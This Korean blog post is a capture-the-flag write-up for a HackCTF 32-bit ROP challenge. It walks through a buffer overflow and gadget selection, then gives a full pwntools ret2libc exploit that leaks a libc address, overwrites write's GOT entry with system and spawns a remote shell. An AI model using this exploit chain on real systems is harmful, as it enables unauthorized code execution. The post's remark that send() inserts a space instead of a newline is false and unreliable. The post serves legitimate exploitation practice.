HackCTF의 ROP 문제다. x86 ROP 공격을 복습할겸 풀어봤다.
바이너리와 libc가 주어져 있다.
바이너리를 실행해보면 입력을 받은 후 그 다음 줄에 "Hello, World!"를 출력해준다.
보호기법을 확인해보면 nx bit만 걸려있다. 문제명 그대로 x86 rop 공격을 해야할 것 같다.
main 함수를 ida로 확인해보면 이름부터 취약한 vulnerable_function() 함수를 호출하고 write 함수로 "Hello World"를 출력해준다. 입력은 vulnerable_function에서 받는 것 같다.
vulnerable_function을 보면 read 함수를 통해 buf에 0x100만큼 입력을 받는 것을 볼 수 있다. buf의 크기가 0x88인데 0x100만큼 입력을 받으므로 오버플로우가 발생한다.
그렇다면 ret와 buf의 정확한 거리를 알아보기 위해 gdb로 확인해보겠다.
vulnerable_function의 프로로그 부분과 read 함수를 호출하는 부분에 bp를 걸고 실행하면 ret와 buf의 스택 주소를 알 수 있다. (이 바이너리는 x86이기 때문에 인자가 스택을 통해 전달된다.)
ret : 0xffffce0c
buf : 0xffffcd80
따라서 거리는 140byte인 것을 알 수 있다. 더미 값을 140byte만큼 입력을 준다면 ret 영역에 접근할 수 있다.
공격 코드 작성에 앞서 쓸만한 가젯들을 찾아보겠다. ROPgadget를 사용하면 쉽게 찾을 수 있다.
위는 ROPgadget을 통해 출력된 가젯들 중 쓸만한 것들을 캡처한 것이다. 공격에는 read, write 함수를 사용할건데, 호출과정에서 인자가 3개 필요하므로 pop을 3번 이상 해주는 가젯을 써야한다. 0x08048509 주소의 가젯이 적당할 것 같다.
공격 방법은 다음과 같다.
1. write 함수를 통해 read의 got을 출력해 libc base로 mapping된 read 주소를 얻는다.
2. read 함수로 입력을 받아, bss 영역에 "/bin/sh" 문자열을 저장한다.
3. 1번을 통해 알아낸 read의 주소 - read의 offset을 하여 libc base 주소를 알아내고 이 base 주소에 system 함수의 offset을 더해 system 함수의 주소를 얻는다. 이 주소를 read 함수를 통해 write의 got에 덮어씀으로써 write 함수를 호출하면 system 함수가 호출되게끔 한다.
4. "/bin/sh" 문자열이 저장된 bss 영역의 주소를 인자로 write 함수를 호출한다.
from pwn import *
#context.log_level = 'debug'
r = remote('ctf.j0n9hyun.xyz', 3021)
libc = ELF('./libc.so.6')
e = ELF('./rop')
bss = e.bss()
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
pppr = 0x08048509
payload = b'A' * 140
payload += p32(write_plt) + p32(pppr) + p32(1) + p32(read_got) + p32(4) # 1
payload += p32(read_plt) + p32(pppr) + p32(0) + p32(bss) + p32(8) # 2
payload += p32(read_plt) + p32(pppr) + p32(0) + p32(write_got) + p32(8) # 3
payload += p32(write_plt) + b'A' * 4 + p32(bss) # 4
r.send(payload)
sleep(0.5)
r.send(b'/bin/sh\x00')
libc_base = u32(r.recv()) - libc.symbols['read']
system_addr = libc_base + libc.symbols['system']
sleep(0.5)
r.send(p32(system_addr))
r.interactive()
중간중간 sleep 함수를 통해 delay를 넣어 exploit의 신뢰성을 높이고자 했다. 또한 입력 받는 함수가 read이므로 sendline이 아닌 send 함수를 통해 입력 값을 바이너리에 전달했다. (sendline은 입력할 값의 끝에 \n를 삽입해서 전달해주지만, send는 \n 대신 공백을 삽입한다.)
작성한 공격 코드를 실행해보면 flag를 얻을 수 있었다. GG!
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Great Binary (0) | 2021.07.25 |
---|---|
[HackCTF] Sysrop (0) | 2021.07.21 |
[HackCTF] RTL_Core (0) | 2021.07.20 |
[HackCTF] Random Key (0) | 2021.07.20 |
[HackCTF] g++ pwn (0) | 2021.07.05 |